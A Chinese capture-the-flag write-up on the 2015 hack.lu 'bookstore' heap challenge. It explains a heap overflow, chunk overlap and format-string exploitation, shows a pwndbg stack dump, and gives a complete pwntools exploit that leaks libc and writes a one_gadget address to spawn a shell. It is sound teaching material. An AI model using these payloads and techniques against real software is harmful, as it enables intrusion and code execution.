美文网首页
[√]Chunk Extend and Overlapping

[√]Chunk Extend and Overlapping

作者: HAPPYers | 来源:发表于2019-11-22 15:56 被阅读0次

    2015-hacklu-bookstore

    题目链接

    参考
    https://bbs.pediy.com/thread-246783.htm
    https://blog.csdn.net/qq_43449190/article/details/89077783

    基本信息

    ➜  2015_hacklu_bookstore git:(master) file books    
    books: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=3a15f5a8e83e55c535d220473fa76c314d26b124, stripped
    ➜  2015_hacklu_bookstore git:(master) checksec books    
    [*] '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/heap/example/chunk_extend_shrink/2015_hacklu_bookstore/books'
        Arch:     amd64-64-little
        RELRO:    No RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)
    

    可以看出该程序是动态链接的 64 位程序,主要开启了 Canary 与 NX 保护。

    基本功能

    该程序的主要功能是订书,具体如下

    • 最多可以订购两本书。
    • 根据编号来选择订购第几本书,可以为每本书添加对应的名字。然而在添加名字处出现了任意长度堆溢出的漏洞。
    • 根据编号来删除 order,但是这里只是单纯地 free 掉,并没有置为 NULL,因此会出现 UAF
    • 提交订单,将两本书的名字合在一起。这里由于上面堆溢出的问题,这里也会出现堆溢出的漏洞。
    • 此外,在程序退出之前存在一个格式化字符串漏洞

    这里虽然程序的漏洞能力很强,但是所有进行 malloc 的大小都是完全固定的,我们只能借助这些分配的 chunk 来进行操作。

    利用思路

    程序中主要的漏洞在于堆溢出和格式化字符串漏洞,但是如果想要利用格式化字符串漏洞,必然需要溢出对应的 dest 数组。具体思路如下

    1. 利用堆溢出进行 chunk extend,使得在 submit 中 malloc(0x140uLL) 时,恰好返回第二个订单处的位置。在 submit 之前,布置好堆内存布局,使得把字符串拼接后恰好可以覆盖 dest 为指定的格式化字符串。
    2. 通过构造 dest 为指定的格式化字符串:一方面泄漏 __libc_start_main_ret 的地址,一方面控制程序重新返回执行。这时,便可以知道 libc 基地址,system 等地址。需要注意的是由于一旦 submit 之后,程序就会直接直接退出,所以我们比较好的思路就是修改 fini_array 中的变量,以便于达到程序执行完毕后,重新返回我们期待的位置。这里我们会使用一个 trick,程序每次读取选择的时候会读取 128 大小,在栈上。而程序最后在输出 dest 的时候,之前所读取的那部分选择必然是在栈上的,所以我们如果我们在栈上预先布置好一些控制流指针,那就可以来控制程序的执行流程。
    3. 再次利用格式化字符串漏洞,覆盖 free@got 为 system 地址,从而达到任意命令执行的目的。

    调试

    首先在printf处下断点

    b printf
    

    然后我们在断下来的printf此时查看栈信息

    stack 30
    

    然后在栈上找能够泄露栈地址的元素,和修改ret地址的偏移。
    偏移的计算如下:
    从最前的rsp开始算起。例如我要泄露0x7ffe7b486c08这个0x80处的地址,那么偏移就是0x80/8-5=11,也就是%11$p。这里减去5是跳过在64位系统调用下的后5个寄存器。因为这里的情况就是例如printf(dest),dest这个格式化字符串刚好在第一个寄存器中。需要跳过5个寄存器。
    如果要修改栈上变量,'%'+str(0xa39)+'c%13$hn'这样就是修改双字DWORD,如果修改一字节就是$hhn.如果要改64位的指针值,可以拆开来分次改。

    pwndbg> stack 30
    00:0000│ rsp  0x7ffe7b486b88 —▸ 0x400c7f ◂— mov    rax, qword ptr [rbp - 0x98]
    01:0008│      0x7ffe7b486b90 ◂— 0x100400780
    02:0010│      0x7ffe7b486b98 —▸ 0x21c1670 ◂— 0x3a3120726564724f ('Order 1:')
    03:0018│      0x7ffe7b486ba0 —▸ 0x400d38 ◂— pop    rcx /* 'Your order is submitted!\n' */
    04:0020│      0x7ffe7b486ba8 —▸ 0x21c15e0 ◂— '%22d%13$hhn%60188d%14$hnaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
    05:0028│      0x7ffe7b486bb0 —▸ 0x21c1670 ◂— 0x3a3120726564724f ('Order 1:')
    06:0030│      0x7ffe7b486bb8 —▸ 0x21c1700 ◂— '%22d%13$hhn%60188d%14$hnaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\nOrder 2: \n'
    07:0038│      0x7ffe7b486bc0 ◂— 0xa35 /* '5\n' */
    08:0040│      0x7ffe7b486bc8 ◂— 0x3000000010
    09:0048│      0x7ffe7b486bd0 —▸ 0x7ffe7b486ca0 ◂— 0x100000000
    0a:0050│      0x7ffe7b486bd8 —▸ 0x7ffe7b486be0 ◂— 0x5
    0b:0058│      0x7ffe7b486be0 ◂— 0x5
    0c:0060│      0x7ffe7b486be8 ◂— 0x0
    0d:0068│      0x7ffe7b486bf0 —▸ 0x7ff7bd234780 (_IO_stdfile_1_lock) ◂— 0x0
    0e:0070│      0x7ffe7b486bf8 ◂— 0x7ffffef0
    0f:0078│      0x7ffe7b486c00 ◂— 0x8
    10:0080│      0x7ffe7b486c08 ◂— 0x10f
    11:0088│      0x7ffe7b486c10 ◂— 0x0
    12:0090│      0x7ffe7b486c18 ◂— 0x7c00000077 /* 'w' */
    13:0098│      0x7ffe7b486c20 ◂— 0x0
    14:00a0│      0x7ffe7b486c28 —▸ 0x21c05e1 ◂— 'd%14$hnaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
    15:00a8│      0x7ffe7b486c30 ◂— 0x100000000
    16:00b0│      0x7ffe7b486c38 ◂— 0x0
    ... ↓
    18:00c0│      0x7ffe7b486c48 ◂— 0x538c6c2fea65ab00
    19:00c8│ rbp  0x7ffe7b486c50 —▸ 0x7ffe7b486d20 —▸ 0x7ff7bd2325f8 (__exit_funcs) —▸ 0x7ff7bd233c40 (initial) ◂— 0x0
    1a:00d0│      0x7ffe7b486c58 —▸ 0x7ff7bd248df7 (_dl_fini+823) ◂— test   r13d, r13d
    1b:00d8│ r14  0x7ffe7b486c60 —▸ 0x7ff7bd45f168 ◂— 0x0
    1c:00e0│      0x7ffe7b486c68 —▸ 0x7ff7bd45f700 —▸ 0x7ffe7b50e000 ◂— jg     0x7ffe7b50e047
    1d:00e8│      0x7ffe7b486c70 —▸ 0x7ff7bd445000 —▸ 0x7ff7bce6e000 ◂— jg     0x7ff7bce6e047
    

    最后把ret地址改为one_gadget即可

    exp

    #coding:utf-8
    from pwn import *
    
    context(arch='amd64',os='linux')
    #context.log_level='debug'
    p=process('./books')
    P=ELF('./books')
    libc=ELF('./libc.so.6')
    #gdb.attach(p,'b *0x400c8e')
    
    def edit(ID,des):
        p.recvuntil('5: Submit\n')
        p.sendline(str(ID))
        p.recvuntil('er:\n')
        p.sendline(des)
    
    def delete(ID):
        p.recvuntil('5: Submit\n')
        p.sendline(str(ID+2))
    
    def submit(payload):
        p.recvuntil('5: Submit\n')
        p.sendline('5'+payload)
    
    
    # overlap the second chunk to control the dest string.
    # use the format string dest to 
    # 1. leak  __libc_start_main+240 in the stack
    # 2. write main_addr to the fini_arry
    fini_arry=0x6011b8  #0x400830
    main_addr=0x400a39
    payload = '%'+str(0xa39)+'c%13$hn'+'.%31$p'+',%28$p'
    payload = payload.ljust(0x74,'a')
    payload = payload.ljust(0x80,'\x00')
    payload+= p64(0x90)
    # we control the second chunk size as 0x151, free it.
    # when submit and malloc(0x140), we get the second chunk ptr again.
    # by submit overlong to second chunk, we can overwrite to dest string chunk.
    payload+= p64(0x151)
    delete(2)
    edit(1,payload)
    
    submit('aaaaaaa'+p64(fini_arry)) # write fini_array to return to main when the program finish
    
    
    
    p.recvuntil('.')
    p.recvuntil('.')
    p.recvuntil('.')
    date = p.recv(14)
    p.recvuntil(',')
    ret_addr = p.recv(14)
    date =int(date,16) - 240
    ret_addr = int(ret_addr,16) - 0xd8 -0x110
    libcbase = date - libc.symbols['__libc_start_main']
    one_gadget = libcbase + 0x45216 #0x45216  #0x4526a 0xf02a4 0xf1147
    log.success('ret_addr = ' + hex(ret_addr))
    log.success('libcbase = ' + hex(libcbase))
    log.success('one_gadget = ' + hex(one_gadget))
    
    #p.interactive()
    
    one_shot1 ='0x' + str(hex(one_gadget))[-2:]
    one_shot2 ='0x' + str(hex(one_gadget))[-6:-2]
    one_shot1 = int(one_shot1,16)
    one_shot2 = int(one_shot2,16)
    
    payload = '%' + str(one_shot1) + 'd%13$hhn'
    payload+= '%' + str(one_shot2-one_shot1) + 'd%14$hn'
    payload=payload.ljust(0x74,'a')
    payload=payload.ljust(0x80,'\x00')
    payload+=p64(0x90)
    payload+=p64(0x151)
    delete(2)
    edit(1,payload)
    gdb.attach(p," b printf")
    p.interactive()
    submit('aaaaaaa'+p64(ret_addr)+p64(ret_addr+1))
    
    p.interactive()
    

    相关文章

      网友评论

          本文标题:[√]Chunk Extend and Overlapping

          本文链接:https://www.haomeiwen.com/subject/ogaxwctx.html